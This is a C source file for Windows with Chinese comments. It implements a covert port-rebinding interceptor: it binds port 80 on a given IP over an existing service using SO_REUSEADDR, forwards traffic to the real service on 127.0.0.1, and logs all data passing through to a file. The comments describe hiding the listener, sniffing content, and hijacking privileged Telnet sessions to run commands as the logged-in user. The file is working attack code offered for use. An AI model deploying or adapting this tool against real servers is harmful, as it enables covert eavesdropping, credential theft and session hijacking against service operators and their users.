#include "stdafx.h" #include <winsock2.h> #include <windows.h> //#include <stdio.h> #include <stdlib.h> #include <fstream.h> DWORD WINAPI ClientThread(LPVOID lpParam); int main(int argc, char* argv[]) { if (argc!=2) { printf("using: listen [your ip address]\nfor example:\n listen 202.112.246.2\n"); return 0; } WORD wVersionRequested; DWORD ret; WSADATA wsaData; BOOL val; SOCKADDR_IN saddr; SOCKADDR_IN scaddr; int err; SOCKET s; SOCKET sc; int caddsize; HANDLE mt; DWORD tid; wVersionRequested = MAKEWORD( 2, 2 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { printf("error!WSAStartup failed!\n"); return -1; } saddr.sin_family = AF_INET; //截聽雖然也可以將地址指定為INADDR_ANY,但是要不能影響正常應用情況下,應該指定具體的IP,留下127.0.0.1給正常的服務應用,然後利用這個地址進行轉寄,就可以不影響對方正常應用了 saddr.sin_addr.s_addr = inet_addr(argv[1]); saddr.sin_port = htons(80); if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) { printf("error!socket failed!\n"); return -1; } val = TRUE; //SO_REUSEADDR選項就是可以實現連接埠重綁定的 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) { printf("error!setsockopt failed!\n"); return -1; } //如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功,返回無許可權的錯誤碼; //如果是想通過重利用連接埠達到隱藏的目的,就可以動態測試當前已綁定的連接埠哪個可以成功,就說明具備這個漏洞,然後動態利用連接埠使得更隱蔽 //其實UDP連接埠一樣可以這樣重綁定利用,這兒主要是以TELNET服務為例子進行攻擊 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) { ret=GetLastError(); printf("error!bind failed!\n"); return -1; } listen(s,2); while(1) { caddsize = sizeof(scaddr); //接受串連請求 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); if(sc!=INVALID_SOCKET) { mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); if(mt==NULL) { printf("Thread Creat Failed!\n"); break; } } CloseHandle(mt); } closesocket(s); WSACleanup(); return 0; } DWORD WINAPI ClientThread(LPVOID lpParam) { SOCKET ss = (SOCKET)lpParam; SOCKET sc; char buf[4096]; SOCKADDR_IN saddr; long num; DWORD val; DWORD ret; //如果是隱藏連接埠應用的話,可以在此處加一些判斷 //如果是自己的包,就可以進行一些特殊處理,不是的話通過127.0.0.1進行轉寄 saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); saddr.sin_port = htons(80); if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) { printf("error!socket failed!\n"); return -1; } val = 100; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { ret = GetLastError(); return -1; } if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { ret = GetLastError(); return -1; } if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) { printf("error!socket connect failed!\n"); closesocket(sc); closesocket(ss); return -1; } // 寫入檔案: ofstream oFile("port80log.txt"); if(!oFile) { printf("cannot write to the file.\n"); closesocket(ss); closesocket(sc); return 0 ; } while(1) { //下面的代碼主要是實現通過127。0。0。1這個地址把包轉寄到真正的應用上,並把應答的包再轉寄回去。 //如果是嗅探內容的話,可以再此處進行內容分析和記錄 //如果是攻擊如TELNET伺服器,利用其高許可權登陸使用者的話,可以分析其登陸使用者,然後利用發送特定的包以劫持的使用者身份執行。 num = recv(ss,buf,4096,0); if(num>0) { oFile<<"\n== DATA =========================================\n"; oFile<<buf; send(sc,buf,num,0); } else if(num==0) break; num = recv(sc,buf,4096,0); if(num>0) { oFile<<"\n== DATA =========================================\n"; oFile<<buf; send(ss,buf,num,0); } else if(num==0) break; } oFile.close(); closesocket(ss); closesocket(sc); return 0 ; } |